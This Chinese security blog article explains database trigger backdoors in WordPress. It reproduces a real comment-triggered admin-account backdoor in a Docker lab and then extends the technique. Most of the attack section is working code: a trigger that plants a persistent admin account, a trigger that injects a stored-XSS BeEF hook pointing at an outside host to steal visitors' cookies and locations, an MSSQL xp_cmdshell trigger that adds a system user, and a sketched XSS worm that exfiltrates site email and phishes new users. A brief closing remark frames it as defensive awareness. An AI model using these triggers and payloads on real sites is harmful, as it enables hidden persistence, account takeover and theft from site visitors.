后门学习—数据库触发器后门

本篇精选文章作者fatmo,本文属i春秋原创奖励计划,未经许可禁止转载。

原文链接:https://bbs.ichunqiu.com/thread-63557-1-1.html


声明:本文仅限于技术讨论与分享,严禁用于非法途径。若读者因此作出任何危害网络安全行为后果自负,与本号及原作者无关。
 

引言

最近我在WordPress的提问板块中发现了一个有趣的问题:提问者在帮助朋友处理一个被入侵的WordPress网站时,删除了多余的管理员账户。然而,不久之后,这个管理员账户又出现了。

当提问者进行进一步检查时,发现了网站数据库中的一个触发器。这个触发器的作用是,当有评论的内容包含特定字符串"are you struggling to get comments on your blog?"时,触发器会在数据库中创建一个新的管理员账户。

BEGIN
     IF NEW.comment_content LIKE '%are you struggling to get comments on your blog?%' THEN
         SET @lastInsertWpUsersId = (SELECT MAX(id) FROM database.wp_users);
         SET @nextWpUsersID = @lastInsertWpUsersId + 1;
         INSERT INTO database.wp_users (ID, user_login, user_pass, user_nicename, user_email, user_url, user_registered, user_activation_key, user_status, display_name) VALUES (@nextWpUsersID, 'wpadmin', '$1$yUXpYwXN$JhwwoGJxViPhtGdNG5UZs0', 'wpadmin', 'wp-security@hotmail.com', 'http://wordpress.com', '2014-06-08 00:00:00', '', '0', 'Kris');
         INSERT INTO database.wp_usermeta (umeta_id, user_id, meta_key, meta_value) VALUES (NULL, @nextWpUsersID, 'wp_capabilities', 'a:1:{s:13:\"administrator\";s:1:\"1\";}');
         INSERT INTO database.wp_usermeta (umeta_id, user_id, meta_key, meta_value) VALUES (NULL, @nextWpUsersID, 'wp_user_level', '10');
     END IF;
 END

提问者在网站的三个不同数据库中找到了这个触发器,这表明这个触发器是入侵者留下的一个后门。

这个问题引起了我的兴趣,数据库触发器可以神不知鬼不觉的创建管理员账户,但它的潜力远不止此,与网站特性相结合,它可以做很多事情

DB Trigger后门介绍

DB Trigger

DB Trigger,也被称为数据库触发器,是自动响应或激活某个事件(如INSERT,DELETE,UPDATE)的一个存储过程(Stored Procedure)。这些事件被定义在特定的数据库表(Table)上。当在表上触发指定的事件时,数据库触发器将被自动执行。

几个DB Trigger常见的用例:

  1. 审计: 触发器可以被用来记录对数据库表的更改。例如,如果某个用户试图修改或删除记录,触发器可以在审计表中自动创建一条记录,指明谁执行了操作,何时执行了操作,以及操作的细节。
  2. 数据验证:触发器可以被用来在数据库级别验证数据。例如,如果应用程序试图输入一个无效的数据,触发器可以阻止这个操作,并回滚事务。
  3. 自动化任务:触发器可以被用来自动执行数据库中的任务。例如,每当在表中插入新记录时,触发器可以自动更新相关联的另一张表。
  4. 跟踪更改:如果你希望每次表更新时都记录一下更改的内容,触发器可以帮助实现这一点。

给出审计用例下的Trigger SQL代码:

CREATE TRIGGER products_after_update 
AFTER UPDATE ON products
FOR EACH ROW
BEGIN
   INSERT INTO audit_log (action, action_date, executed_by, product_id) 
   VALUES('Update', NOW(), CURRENT_USER(), OLD.product_id);
END;

DB Trigger后门

拥有CREATE Trigger权限的攻击者,可以在数据库中创建触发器,触发条件只有攻击者自己知道(比如发布一条包含特殊字符串的评论),数据库在触发后,执行指定的操作(比如创建特定管理员账号供管理员登陆)。

引言中的SQL代码就是一个典型的DB Trigger后门,这个后门的内容是:当有人发表的评论内容包含特定字符串"are you struggling to get comments on your blog?"时,触发器会在数据库中创建一个新的特定的管理员账户。

BEGIN
     IF NEW.comment_content LIKE '%are you struggling to get comments on your blog?%' THEN
         SET @lastInsertWpUsersId = (SELECT MAX(id) FROM database.wp_users);
         SET @nextWpUsersID = @lastInsertWpUsersId + 1;
         INSERT INTO database.wp_users (ID, user_login, user_pass, user_nicename, user_email, user_url, user_registered, user_activation_key, user_status, display_name) VALUES (@nextWpUsersID, 'wpadmin', '$1$yUXpYwXN$JhwwoGJxViPhtGdNG5UZs0', 'wpadmin', 'wp-security@hotmail.com', 'http://wordpress.com', '2014-06-08 00:00:00', '', '0', 'Kris');
         INSERT INTO database.wp_usermeta (umeta_id, user_id, meta_key, meta_value) VALUES (NULL, @nextWpUsersID, 'wp_capabilities', 'a:1:{s:13:\"administrator\";s:1:\"1\";}');
         INSERT INTO database.wp_usermeta (umeta_id, user_id, meta_key, meta_value) VALUES (NULL, @nextWpUsersID, 'wp_user_level', '10');
     END IF;
 END

后门利用

引言中的例子证明了这个后门的可行性,为了学习这个后门的利用,我们先在本地环境复现引言中的例子,然后扩展这个后门的更多用法,最后分享想法与总结。

问题复现

安装wordpress

  1. 新建文件docker-compose.yml,写入以下内容:
version: '3'

services:
  db:
    image: mysql:5.7
    volumes:
      - db_data:/var/lib/mysql
    restart: always
    environment:
      MYSQL_ROOT_PASSWORD: your_mysql_root_password
      MYSQL_DATABASE: wordpress
      MYSQL_USER: wordpress
      MYSQL_PASSWORD: wordpress

  wordpress:
    depends_on:
      - db
    image: wordpress:latest
    ports:
      - 8080:80
    restart: always
    environment:
      WORDPRESS_DB_HOST: db:3306
      WORDPRESS_DB_USER: wordpress
      WORDPRESS_DB_PASSWORD: wordpress
      WORDPRESS_DB_NAME: wordpress

volumes:
  db_data:
  1. 在相同目录下,执行:
docker-compose up -d

  1. 随后访问服务器的8080端口,按照指示安装wordpress

  1. 安装完成

配置MySQL打印日志

  1. 查看MySQL容器ID,这里是46d开头
docker ps

  1. 把MySQL配置文件复制到本机修改
docker cp 46d:/etc/my.conf ./my.cnf

  1. 添加打印SQL日志的配置
log_output = FILE
general_log = 1
general_log_file = /var/lib/mysql/general.log

  1. 再把文件传回去
docker cp ./my.cnf 46d:/etc/my.cnf
  1. 重启MySQL容器使配置生效
docker restart 46d

  1. 进入容器,追踪日志/var/lib/mysql/general.log,随便制造几个请求,我们就可以看到wordpress执行的所有SQL指令,这对我们之后的研究很有帮助
cd /var/lib/mysql
tail -f general.log

复现创建管理员的触发器后门

  1. 我们首先看一下,发表一个评论,会执行怎样的SQL指令。为了防止我们发表评论的SQL在海量的SQL请求中淹没,我们以“Hello World”作为标志,筛选所有具有Hello World的SQL指令
tail -f general.log | grep "Hello World"

  1. 点击发布,我们就拿到了发表评论的SQL指令
bash-4.2# tail -f general.log | grep "Hello World"
2023-08-12T06:13:10.947100Z           62 Query        SELECT comment_ID FROM wp_comments WHERE comment_post_ID = 6 AND comment_parent = '0' AND comment_approved != 'trash' AND ( comment_author = 'wordpress' AND comment_author_email = 'wordpress@wp.com' ) AND comment_content = 'Hello World' LIMIT 1
2023-08-12T06:13:11.000667Z           62 Query        INSERT INTO `wp_comments` (`comment_post_ID`, `comment_author_IP`, `comment_author`, `comment_author_email`, `comment_author_url`, `comment_date`, `comment_date_gmt`, `comment_content`, `comment_karma`, `comment_approved`, `comment_agent`, `comment_type`, `comment_parent`, `user_id`) VALUES (6, '192.168.153.1', 'wordpress', 'wordpress@wp.com', 'http://192.168.153.147:8080', '2023-08-12 14:13:10', '2023-08-12 06:13:10', 'Hello World', 0, '1', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36', 'comment', 0, 1)

  1. 有两个SQL命令,我们关注插入数据库的命令:
INSERT INTO `wp_comments` (`comment_post_ID`, `comment_author_IP`, `comment_author`, `comment_author_email`, `comment_author_url`, `comment_date`, `comment_date_gmt`, `comment_content`, `comment_karma`, `comment_approved`, `comment_agent`, `comment_type`, `comment_parent`, `user_id`) VALUES (6, '192.168.153.1', 'wordpress', 'wordpress@wp.com', 'http://192.168.153.147:8080', '2023-08-12 14:13:10', '2023-08-12 06:13:10', 'Hello World', 0, '1', 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36', 'comment', 0, 1)
  1. 现在,我们要复现一下引言中的后门:当攻击者发表一个内容包含“Hello”的评论时,创建一个管理员账户
  2. 我们首先需要获取创建管理员的SQL指令,进入后台,添加管理员用户,然后去日志查看执行的SQL指令

bash-4.2# tail -f general.log | grep "a666"
2023-08-12T06:05:48.678173Z           52 Query        SELECT * FROM wp_users WHERE user_login = 'a666' LIMIT 1
2023-08-12T06:05:48.678471Z           52 Query        SELECT * FROM wp_users WHERE user_email = 'a666@a.cc' LIMIT 1
2023-08-12T06:05:48.693036Z           52 Query        SELECT * FROM wp_users WHERE user_login = 'a666' LIMIT 1
2023-08-12T06:05:48.693567Z           52 Query        SELECT ID FROM wp_users WHERE user_nicename = 'a666' AND user_login != 'a666' LIMIT 1
2023-08-12T06:05:48.694158Z           52 Query        SELECT * FROM wp_users WHERE user_email = 'a666@a.cc' LIMIT 1
2023-08-12T06:05:48.695324Z           52 Query        INSERT INTO `wp_users` (`user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_activation_key`, `display_name`, `user_login`) VALUES ('$P$BC8VGj7dIkFdu1K.Y8kovNXNR3IiLR1', 'a666', 'a666@a.cc', 'http://a666', '2023-08-12 06:05:48', '', 'a, a666', 'a666')
2023-08-12T06:05:48.697495Z           52 Query        INSERT INTO `wp_usermeta` (`user_id`, `meta_key`, `meta_value`) VALUES (2, 'nickname', 'a666')
2023-08-12T06:05:48.698825Z           52 Query        INSERT INTO `wp_usermeta` (`user_id`, `meta_key`, `meta_value`) VALUES (2, 'first_name', 'a666')
  1. 获取到添加管理员实际执行了这条语句:
INSERT INTO `wp_users` (`user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_activation_key`, `display_name`, `user_login`) VALUES ('$P$BC8VGj7dIkFdu1K.Y8kovNXNR3IiLR1', 'a666', 'a666@a.cc', 'http://a666', '2023-08-12 06:05:48', '', 'a, a666', 'a666')
  1. 前置信息已经足够,我们写入触发器
CREATE TRIGGER comment_backdoor
AFTER INSERT ON wordpress.wp_comments
FOR EACH ROW
BEGIN
  IF NEW.comment_content LIKE '%Hello%' THEN
      SET @lastInsertWpUsersId = (SELECT MAX(id) FROM wordpress.wp_users);
      SET @nextWpUsersID = @lastInsertWpUsersId + 1;
      INSERT INTO `wp_users` (`user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_activation_key`, `display_name`, `user_login`) VALUES ('$P$BC8VGj7dIkFdu1K.Y8kovNXNR3IiLR1', 'a666', 'a666@a.cc', 'http://a666', '2023-08-12 06:05:48', '', 'a, a666', 'a666');
      INSERT INTO `wp_usermeta` (`user_id`, `meta_key`, `meta_value`) VALUES (@nextWpUsersID, 'nickname', 'a666');
      INSERT INTO `wp_usermeta` (`user_id`, `meta_key`, `meta_value`) VALUES (@nextWpUsersID, 'first_name', 'a666');
  END IF;
END;

  1. 我们再发一个评论,评论内容包含Hello,看是否创建了用户

  1. 评论发出,新建管理员账号,复现成功

深入利用

与XSS相结合

我们可以创建这样一个触发器:当用户发表评论时,使用XSS Payload拼接用户的评论,从而实现存储型XSS。这样做有两点好处:

  1. XSS Payload是在用户输入至数据库后才被拼接的,可以绕过Waf等防护。
  2. 这是一个在任意数据输入处都可以埋点的存储型XSS,可以由任何用户触发,危害范围广

下面我们使用上文中的环境继续测试,验证这个想法是否可行:

  1. 创建触发器,在用户发表评论时,弹出提示框:
CREATE TRIGGER comment_alert
BEFORE INSERT ON wp_comments
FOR EACH ROW
BEGIN
    SET NEW.comment_content = CONCAT(NEW.comment_content, '<script>alert("backdoor!")</script>');
END;

  1. 发表一条评论,成功弹窗

  1. ok,初步验证成功,我们直接上beef

  1. 改一下我们的触发器,改成载入我们的beef Hook文件
CREATE TRIGGER comment_alert
BEFORE INSERT ON wp_comments
FOR EACH ROW
BEGIN
    SET NEW.comment_content = CONCAT(NEW.comment_content, '<script src="http://192.168.153.147:3000/hook.js"></script>');
END;
  1. 随便发一条评论,可以看到我们的受害者已经上线

  1. 拿到了包括Cookies在内的受害者信息

  1. 再用Beef随便玩玩,把页面里的所有超链接改成百度

  1. 获取受害者的位置

  1. 内网探测,还有作为僵尸节点进行DDos,诱导受害者下载木马并执行等

与xp_cmdshell结合

我们都知道MSSQL的xp_cmdshell可以执行系统命令,如果MSSQL开启了xp_cmdshell或者攻击者打开了xp_cmdshell功能,那么构造一个调用xp_cmdshell的触发器,就可以实现DB Trigger后门直接执行系统命令。例子如下:

CREATE TRIGGER backdoorTrigger
ON [master]
FOR Create_Login
AS
EXEC xp_cmdshell 'cmd.exe /c net user Admin123 Admin123456 /add'

想法:XSS蠕虫

前文中我们已经证实了触发器后门可以与XSS相结合,假设目标网站存在CSRF漏洞。再结合前文的XSS漏洞,两个低危漏洞相结合,就可以实现XSS蠕虫,产生广泛的影响。

  1. 假设WordPress的Email插件存在CSRF,那么我们监视邮件库,在邮件请求ID+1时调用JS代码,把邮件内容拷贝一份发送到攻击者邮箱。就可以监听站点发出的所有Email。
  2. 再狂野一点,监听wp用户表,当有新用户创建时,马上发送一封Email给新用户。提示用户注册后需要点击链接后才能正常使用网站,链接背后的内容可以自由发挥。
  3. 文章虽然以WordPress为例展开讲解,但是不论是DB Trigger Backdoor、XSS还是CSRF,都是通用的。现实中就发生了多起XSS蠕虫造成严重影响的事件,比如社交网站的关注功能存在CSRF,那么就可以让一个人一天内涨上百万粉丝。应该根据实际情况构造不同的攻击思路。

总结

我们从一个实际的例子入手,本地复现了该后门。随后,我们将此后门与XSS和xp_cmdshell想结合,证明了这个后门在广度(XSS)和深度(xp_cmdshell)上都有更大的利用潜力。

而且,DB Trigger是一个在安全中及其容易被忽视的功能(实际运维应用场景也不是很多),因此在后门排查中极易被忽视。起码,目前WordPress中最流行的安全插件wordfence还没有检测DB Trigger的功能。

未知攻焉知防,从攻击者的角度入手,了解到了DB Trigger后门的隐蔽性和危害,在安全建设工作中才会覆盖到这个容易被忽视的隐患。

参考链接

SQL Triggers in Website Backdoors

Re-Hacked via DB-Trigger | WordPress.org

Persistence in WordPress using backdoors in SQL | Tarlogic

mssql触发器后门:安全隐患究竟何在(mssql 触发器 后门)-数据库运维技术服务

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值